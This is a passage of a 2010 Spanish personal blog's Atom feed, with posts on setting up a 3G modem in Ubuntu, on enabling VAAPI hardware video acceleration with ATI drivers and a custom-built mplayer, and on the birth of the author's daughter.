22:43:56 suneo kernel: [  447.945320] usb 2-2: GSM modem (1-port) converter now attached to ttyUSB0&lt;/pre&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;El asistente de configuración no puede ser más fácil, sencillo e intuitivo. Hacemos click con el botón derecho en el icono del &lt;i&gt;network manager&lt;/i&gt; y añadimos una nueva conexión &lt;i&gt;Mobile&lt;/i&gt;, seleccionamos el dispositivo, el país, nuestro operador y finalizamos. &lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a href="http://goo.gl/photos/kAL6" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"&gt;&lt;img border="0" src="http://lh5.ggpht.com/_z1x0O4Pd0Sk/TEG-BXvGFaI/AAAAAAAABPM/0M3aKF-QcMI/s512/Modem3G_01.png"&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://goo.gl/photos/yv66" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"&gt;&lt;img border="0" src="http://lh4.ggpht.com/_z1x0O4Pd0Sk/TEG-BZ7xxVI/AAAAAAAABPQ/MGflsbHAWKg/s512/Modem3G_02.png"&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;Ahora ya nos podemos conectar. Elegimos la conexión que acabamos de crear, esperamos unos segundos a que se establezca y ya podemos navegador. &lt;br /&gt;&lt;center&gt;&lt;a href="http://goo.gl/photos/ycug" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"&gt;&lt;img border="0" src="http://lh3.ggpht.com/_z1x0O4Pd0Sk/TEG-BtbzGdI/AAAAAAAABPU/Nk-Yj26mUXY/s512/Modem3G_03.png"&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;b&gt;¿Quién dijo que configurar las cosas en linux era difícil?.&lt;/b&gt;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;En el caso de querer utilizar la tarjeta de Carrefour móvil el procedimiento es el mismo pero como éste no aparece en la lista de proveedores, deberemos configurarlo a mano. Sólo tenemos que introducir &lt;b&gt;CARREFOURINTERNET&lt;/b&gt; como APN y listo, conexión configurada y lista para ser utilizada.&lt;br /&gt;&lt;center&gt;&lt;a href="http://goo.gl/photos/CzmN" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"&gt;&lt;img border="0" src="http://lh4.ggpht.com/_z1x0O4Pd0Sk/TEG-B6LH-fI/AAAAAAAABPY/9Vshdjb50HM/s512/Modem3G_04.png"&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EYgQjXUJCwE:uLWikbnLkm4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EYgQjXUJCwE:uLWikbnLkm4:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EYgQjXUJCwE:uLWikbnLkm4:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EYgQjXUJCwE:uLWikbnLkm4:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EYgQjXUJCwE:uLWikbnLkm4:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=EYgQjXUJCwE:uLWikbnLkm4:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EYgQjXUJCwE:uLWikbnLkm4:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=EYgQjXUJCwE:uLWikbnLkm4:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EYgQjXUJCwE:uLWikbnLkm4:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=EYgQjXUJCwE:uLWikbnLkm4:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/EYgQjXUJCwE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/6559419037017656819/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2010/08/conexion-3g-con-ubuntu.html#comment-form" title="14 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/6559419037017656819?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/6559419037017656819?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/EYgQjXUJCwE/conexion-3g-con-ubuntu.html" title="Conexión 3G con Ubuntu" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/_z1x0O4Pd0Sk/TEG-BXvGFaI/AAAAAAAABPM/0M3aKF-QcMI/s72-c/Modem3G_01.png" height="72" width="72" /><thr:total>14</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2010/08/conexion-3g-con-ubuntu.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8HQXs-eCp7ImA9Wx5TFkg.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-4246189664611515750</id><published>2010-08-01T11:09:00.002+02:00</published><updated>2010-08-01T11:10:30.550+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-01T11:10:30.550+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="VAAPI" /><category scheme="http://www.blogger.com/atom/ns#" term="Hardware" /><category scheme="http://www.blogger.com/atom/ns#" term="HTPC" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="H.264" /><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu" /><category scheme="http://www.blogger.com/atom/ns#" term="ATI" /><title>Acelerando video en alta definición H.264 por hardware en Ubuntu 10.04 con ATI</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Desde que monté el &lt;a href="http://lopezivan.blogspot.com/2009/07/htpc-para-el-salon.html"&gt;HTPC&lt;/a&gt; una de las cosas que siempre quise hacer fue acelerar por hardware los vídeos &lt;a href="http://en.wikipedia.org/wiki/H.264/MPEG-4_AVC"&gt;H.264&lt;/a&gt;. Todas las series que descargo (que son bastantes) intento que estén siempre en 720p puesto que además de la calidad adicional respecto al divx estándar, también viene con sonido 5.1, por lo que la sensación final es mucho mejor.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Así, quería poder acelerar el video sin tener que tirar de cpu. Cuando tenía instalado windows xp en el HTPC lo intenté siguiendo varias guías y tutoriales y también con distintos programas, pero al final no fui capaz de conseguirlo. Desde que instalé &lt;a href="http://lopezivan.blogspot.com/2010/07/ubuntu-en-el-htpc-ahora-si.html"&gt;Ubuntu en el HTPC&lt;/a&gt; la cosa ha cambiado. Mi placa base lleva integrada una ATI HD3200, que, aunque es algo modesta y para juegos seguro que se queda corta, permite acelerar vídeos en alta definición. Para ello vamos a utilizar las librerías &lt;a href="http://en.wikipedia.org/wiki/VAAPI"&gt;VAAPI&lt;/a&gt; (Video Aceleration API) que son el equivalente para ATI de las famosas VDPAU de NVidia. Además, como no podría ser de otra forma, el reproductor será &lt;b&gt;mplayer&lt;/b&gt;. Veamos cómo lo he conseguido.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Instalando el driver propietario de ATI&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Utilizaremos la última versión de los drivers propietarios de ATI para Linux. En Ubuntu 10.04 sólo funcionan los drivers a partir de la versión 10.4. Por suerte, cuando salió la última versión de Ubuntu, en ATI se pusieron las pilas y al día siguiente ya habían liberado los drivers. Parece que por fin nos van teniendo en cuenta a los usuarios de Linux.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Actualmente la última versión disponible para mi tarjeta es la 10.7. La descargamos, en mi caso la versión de 64 bits, y la instalamos sin mayor complicación con:&lt;br /&gt;&lt;pre&gt;$ sudo ./ati-driver-installer-10-7-x86.x86_64.run&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Instalando las librerías VAAPI&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como hemos comentado, para conseguir la aceleración por &lt;a href="http://en.wikipedia.org/wiki/GPU"&gt;GPU&lt;/a&gt; vamos a usar VAAPI. En la web &lt;a href="http://www.splitted-desktop.com/%7Egbeauchesne/"&gt;http://www.splitted-desktop.com/~gbeauchesne/&lt;/a&gt; nos tenemos que bajar las últimas versiones disponibles de: libva, libva-dev, libva-dbg y xvba-video&lt;br /&gt;&lt;pre&gt;$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva-dev_0.31.1-1+sds4_amd64.deb&lt;br /&gt;$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1-dbg_0.31.1-1+sds4_amd64.deb&lt;br /&gt;$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1_0.31.1-1+sds4_amd64.deb&lt;br /&gt;$ wget http://www.splitted-desktop.com/~gbeauchesne/xvba-video/xvba-video_0.7.2-1_amd64.deb&lt;/pre&gt;Instalamos los paquetes que acabamos de descargar:&lt;br /&gt;&lt;pre&gt;$ sudo dpkg -i libva* xvba-video_0.7.2-1_amd64.deb&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Compilando mplayer con soporte VAAPI&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Aunque no es estrictamente necesario, sí es recomendable instalar primero la versión existente en los repositorios de Ubuntu. Así, el sistema sabrá que está instalado y nos permitirá instalar complementos como la interfaz gráfica &lt;a href="http://smplayer.sourceforge.net/"&gt;SMPlayer&lt;/a&gt;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Antes de poder compilar mplayer tendremos que descargar todas las librerías y paquetes &lt;i&gt;xxxx-dev&lt;/i&gt; necesarios. Para ello ejecutamos lo siguiente. En mi caso se descargaron 112 paquetes, pero esto puede variar de un sistema a otro en función de lo que tengamos instalado previamente.&lt;br /&gt;&lt;pre&gt;$ sudo apt-get build-dep mplayer&lt;/pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Aunque la compilación de mplayer puede parecer algo complejo, realmente es muy sencilla. Lo que realmente nos vamos a descargar es un script y unos parches para mplayer. Descargamos la última versión disponible en &lt;a href="http://www.splitted-desktop.com/%7Egbeauchesne/mplayer-vaapi/"&gt;http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;$ wget http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/mplayer-vaapi-20100713.tar.bz2&lt;br /&gt;&lt;br /&gt;$ bunzip2 mplayer-vaapi-20100713.tar.bz2&lt;br /&gt;$ tar xvf mplayer-vaapi-20100713.tar&lt;br /&gt;mplayer-vaapi-20100713/&lt;br /&gt;mplayer-vaapi-20100713/patches/&lt;br /&gt;mplayer-vaapi-20100713/patches/mplayer-vaapi-gma500-workaround.patch&lt;br /&gt;mplayer-vaapi-20100713/patches/mplayer-vdpau.patch&lt;br /&gt;mplayer-vaapi-20100713/patches/mplayer-vaapi.patch&lt;br /&gt;mplayer-vaapi-20100713/patches/mplayer-vaapi-0.29.patch&lt;br /&gt;mplayer-vaapi-20100713/checkout-patch-build.sh&lt;br /&gt;mplayer-vaapi-20100713/README.txt&lt;br /&gt;mplayer-vaapi-20100713/NEWS&lt;/pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ejecutamos el script que se encarga de todo. Descarga de los subversions las versiones adecuadas de mplayer, ffmpeg y dvdnav, las parchea y finalmente las compila. Si hemos ejecutado todos los pasos anteriores deberíamos tener todas las dependencias satifeschas y la compilación no debería fallar. Esperamos a que termine ya que tardará más o menos en función de la potencia de la máquina.&lt;br /&gt;&lt;pre&gt;$ ./checkout-patch-build.sh&lt;/pre&gt;Ahora tendremos un directorio llamado mplayer-vaapi en el que estará disponible nuestra propia versión de mplayer.&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;b&gt;Probando a vídeos con aceleración y sin ella&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Para hacer la prueba voy a utilizar un capítulo de Lost en 720p. Primero vamos a hacer una prueba sin acelerar ejecutando simplemente:&lt;br /&gt;&lt;pre&gt;$ ./mplayer Lost.S06E01-02.720p.mkv&lt;br /&gt;...&lt;br /&gt;VIDEO:  [H264]  1280x720  0bpp  24.000 fps    0.0 kbps ( 0.0 kbyte/s)&lt;br /&gt;==========================================================================&lt;br /&gt;Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family&lt;br /&gt;Selected video codec: &lt;b&gt;[ffh264] vfm: ffmpeg (FFmpeg H.264)&lt;/b&gt;&lt;br /&gt;==========================================================================&lt;br /&gt;Starting playback...&lt;br /&gt;Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.&lt;br /&gt;VO: [xv] 1280x720 =&gt; 1280x720 Planar YV12&lt;/pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Si ahora hacemos lo mismo pero utilizamos VAAPI vemos en la salida de mplayer que estamos usando las librerías para la aceleración.&lt;br /&gt;&lt;pre&gt;$ ./mplayer -vo vaapi -va vaapi Lost.S06E01-02.720p.mkv&lt;br /&gt;...&lt;br /&gt;VIDEO:  [H264]  1280x720  0bpp  24.000 fps    0.0 kbps ( 0.0 kbyte/s)&lt;br /&gt;&lt;b&gt;libva: libva version 0.31.1-sds1&lt;/b&gt;&lt;br /&gt;Xlib:  extension "XFree86-DRI" missing on display ":0.0".&lt;br /&gt;libva: va_getDriverName() returns 0&lt;br /&gt;libva: Trying to open /usr/lib/va/drivers/fglrx_drv_video.so&lt;br /&gt;libva: va_openDriver() returns 0&lt;br /&gt;==========================================================================&lt;br /&gt;Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family&lt;br /&gt;[VD_FFMPEG] &lt;b&gt;VA API accelerated codec.&lt;/b&gt;&lt;br /&gt;Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)&lt;br /&gt;==========================================================================&lt;br /&gt;VO: [vaapi] 1280x720 =&gt; 1280x720 &lt;b&gt;H.264 VA-API Acceleration&lt;/b&gt;&lt;br /&gt;[VD_FFMPEG] XVMC-accelerated MPEG-2.&lt;br /&gt;&lt;/pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Para que se vea de una manera más gráfica la diferencia de consumo de CPU, con el comando pidstat tomé muestras del consumo de mplayer en ambos casos.&lt;br /&gt;&lt;center&gt;&lt;a href="http://goo.gl/photos/5fTI" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"&gt;&lt;img border="0" src="http://lh6.ggpht.com/_z1x0O4Pd0Sk/TFPgLTzRLtI/AAAAAAAABQg/f_zBf6S8PO8/s512/mplayer_vaapi.jpeg"&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como vemos la diferencia en ambos casos del uso de CPU es brutal, algo esperado porque quien realmente está decodificando el vídeo en el caso de VAAPI es la GPU.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Finalmente, copiamos mplayer a su ubicación definitiva para poder ejecutarlo desde cualquier sitio. Con esto reemplazaremos los binarios que instalamos desde los repositorios.&lt;br /&gt;&lt;pre&gt;$ sudo make install&lt;br /&gt;install -d /usr/local/bin /usr/local/etc/mplayer /usr/local/lib&lt;br /&gt;install -m 755 -s mencoder /usr/local/bin&lt;br /&gt;install -d /usr/local/share/man/man1&lt;br /&gt;install -m 644 DOCS/man/en/mplayer.1 /usr/local/share/man/man1/&lt;br /&gt;cd /usr/local/share/man/man1 &amp;amp;&amp;amp; ln -sf mplayer.1 mencoder.1&lt;br /&gt;install -m 755 -s mplayer /usr/local/bin&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Automatizando los parámetros de mplayer&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ahora ya sabemos cómo acelerar los vídeos por hardware pero es una tarea un poco pesada tener que pasar todos los parámetros de mplayer para cada vídeo. Además, en mi caso, no estoy utilizando la salida de audio mini-jack de la placa base, sino que uso la salida óptica &lt;a href="http://en.wikipedia.org/wiki/SPDIF"&gt;S/PDIF&lt;/a&gt;. Para conseguir que mplayer saque el audio por ese conector, también debemos indicárselo.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mostramos un listado de los dispositivos hardware capaces de reproducir audio para ver cual es que nos interesa.&lt;br /&gt;&lt;pre&gt;$ aplay -l&lt;br /&gt;**** List of PLAYBACK Hardware Devices ****&lt;br /&gt;card 0: SB [HDA ATI SB], device 0: ALC889A Analog [ALC889A Analog]&lt;br /&gt; Subdevices: 1/1&lt;br /&gt; Subdevice #0: subdevice #0&lt;br /&gt;&lt;b&gt;card 0&lt;/b&gt;: SB [HDA ATI SB], &lt;b&gt;device 1&lt;/b&gt;: ALC889A Digital &lt;b&gt;[ALC889A Digital]&lt;/b&gt;&lt;br /&gt; Subdevices: 1/1&lt;br /&gt; Subdevice #0: subdevice #0&lt;br /&gt;card 1: HDMI [HDA ATI HDMI], device 3: ATI HDMI [ATI HDMI]&lt;br /&gt; Subdevices: 1/1&lt;br /&gt; Subdevice #0: subdevice #0&lt;/pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Así, debemos ejecutar mplayer indicando la tarjeta y el dispositivo que queremos utilizar para sacar el audio. Adicionalmente también le forzamos el audio AC3:&lt;br /&gt;&lt;pre&gt;$ mplayer -ao alsa:device=hw=0.1 -ac hwac3 -vo vaapi -va vaapi pelicula.mvk&lt;/pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Si hubiera querido que el audio saliera directamente por el conector HDMI que va a la tele, las opciones que tendría que haber puesto en mplayer serían: &lt;i&gt;-ao alsa:device=hw=1.3&lt;/i&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Esto cada vez crece más. Si antes teníamos que poner las opciones para el soporte vaapi, ahora adicionalmente tenemos que poner también la salida por S/PDIF. Para nuestra comodidad podemos añadir todas estas opciones al archivo de configuración de mplayer.&lt;br /&gt;&lt;pre&gt;$ cat /home/ivan/.mplayer/config&lt;br /&gt;# Write your default config options here!&lt;br /&gt;# Salida por S/PDIF&lt;br /&gt;ao=alsa:device=hw=0.1,&lt;br /&gt;# Forzar audio a AC3&lt;br /&gt;ac=hwac3&lt;br /&gt;# Aceleración HW&lt;br /&gt;vo=vaapi&lt;br /&gt;va=vaapi&lt;/pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;De esta sólo tenemos que ejecutar&lt;br /&gt;&lt;pre&gt;$ mplayer pelicula.mkv&lt;/pre&gt;y tendremos la salida de audio por S/PDIF y la aceleración por hardware habilitada.&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;b&gt;¿Y por qué no usar VLC?&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Hace un par de semanas se ha liberado la versión 1.1.1 de VLC con soporte VAAPI. Si queréis instalarlo podéis seguir &lt;a href="http://www.webupd8.org/2010/06/how-to-install-vlc-110-final-in-ubuntu.html"&gt;estas instrucciones&lt;/a&gt;. Simplemente consiste en añadir un nuevo repositorio e instalar VLC desde él. Aún así esta versión no está compilada con soporte VAAPI. También nos podemos descargar una versión con el soporte vaapi habilitado, pero según podemos leer en el enlace anterior, se "romperán" el resto de reproductores de video y paquetes que utilicen la versión de ffmpeg de los repositorios de Ubuntu. La única solución sería recompilarlos todos contra la nuevas versión de ffmpeg.&lt;br /&gt;&lt;blockquote&gt;Now, regarding vaapi (GPU acceleration): you basically can't compile VLC 1.1.0 with vaapi support without breaking stuff. To get it to work with vaapi, it would need newer ffmpeg packages which would mean every package using the ffmpeg packages in the Ubuntu official repository would be broken unless it is compiled against the same ffmpeg package (so you would need to either compile every package that uses ffmpeg yourself or a PPA should package all these packages - which is practically impossible).&lt;br /&gt;&lt;br /&gt;There is a PPA which packages VLC 1.1.0 with vaapi support as well as fixed mplayer to work with the new ffmpeg/gstreamer. But since this PPA only has VLC and mplayer, it means that other video players / video editors will stop working if you use the following PPA and for this reason I won't post instructions for installing it here. You can however find both the PPA and exact instructions for installing VLC 1.1.0 with vaapi support, HERE. Remember: using it, a lot of applications will be broken! Also, the VLC package in the Cutting Edge Multimedia PPA (not the C-Korn PPA we posted in the begining of the post - that's stable and doesn't break anything!) doesn't yet have the latest VLC 1.1.0 but a GIT version dating back to June 16 - that's still very close to the final version.&lt;/blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Así que nada. Tendremos que esperar a que se actualicen todos los programas de los repos antes de poder probar la aceleración hardware con VLC.&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;b&gt;Conclusiones&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sabía que acelerar los vídeos por GPU iba a suponer que la CPU prácticamente estuviera descansando, aún así el resultado me ha sorprendido gratamente. Además, por fin parece que ATI proporciona unos drivers que funcionan en Linux. Son propietarios y cerrados y sería estupendo que fueran libres, pero al menos, los que decidimos apostar por ATI y Linux no nos sentimos abandonados como hace unos años cuando ATI en Linux era sinónimo de problemas y quebraderos de cabeza. Aún recuerdo cuando monté mi ordenador "de sobremesa" hace ya más de tres años, que elegí una NVidia sin dudarlo por la multitud de problemas que había con ATI en Linux. En fin, los tiempos cambian, por fortuna a mejor, para los usuarios de Linux :-).&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AKyXqk081Iw:7mUGa72AYBk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AKyXqk081Iw:7mUGa72AYBk:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AKyXqk081Iw:7mUGa72AYBk:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AKyXqk081Iw:7mUGa72AYBk:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AKyXqk081Iw:7mUGa72AYBk:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=AKyXqk081Iw:7mUGa72AYBk:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AKyXqk081Iw:7mUGa72AYBk:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=AKyXqk081Iw:7mUGa72AYBk:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AKyXqk081Iw:7mUGa72AYBk:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=AKyXqk081Iw:7mUGa72AYBk:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/AKyXqk081Iw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/4246189664611515750/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2010/08/acelerando-video-en-alta-definicion.html#comment-form" title="19 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/4246189664611515750?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/4246189664611515750?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/AKyXqk081Iw/acelerando-video-en-alta-definicion.html" title="Acelerando video en alta definición H.264 por hardware en Ubuntu 10.04 con ATI" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/_z1x0O4Pd0Sk/TFPgLTzRLtI/AAAAAAAABQg/f_zBf6S8PO8/s72-c/mplayer_vaapi.jpeg" height="72" width="72" /><thr:total>19</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2010/08/acelerando-video-en-alta-definicion.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEIFRHw5eip7ImA9WxFaE0o.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-7130804383416500963</id><published>2010-07-17T16:19:00.002+02:00</published><updated>2010-07-17T16:21:55.222+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-07-17T16:21:55.222+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Personal" /><title>¡Ha nacido Adriana!</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;El pasado 5 de Julio a las 01:20 AM nació por parto natural &lt;b&gt;Adriana&lt;/b&gt;. Pesó 3,120 Kg y midió 48 cm. Ahora que se me está terminando la baja de paternidad saco un hueco para escribir y contarlo. La niña y mi mujer están bien y ahora estamos adaptándonos a la situación. &lt;a href="http://judithlopezb.blogspot.com/"&gt;Judith&lt;/a&gt; parece que se lo está tomando bastante bien y de momento mira con curiosidad a su hermanita, la acaricia y le da besitos. Iremos viendo poco a poco cómo va evolucionando la situación.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como no iba a ser menos, Adriana ya tiene creado su blog en el que iremos poniendo fotos para que las vea la familia (y por supuesto todo el que quiera!): &lt;a href="http://adrianalopezbre.blogspot.com"&gt;http://adrianalopezbre.blogspot.com&lt;/a&gt;.&lt;br /&gt;&lt;br&gt;&lt;center&gt;&lt;a href="http://goo.gl/photos/Blt6" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"&gt;&lt;img border="0" src="http://lh5.ggpht.com/_z1x0O4Pd0Sk/TEG74L8znhI/AAAAAAAABPI/nLU3PscWV1c/s512/Adriana.jpg"&gt;&lt;/a&gt;&lt;/center&gt;&lt;div class="feedflare"&gt;
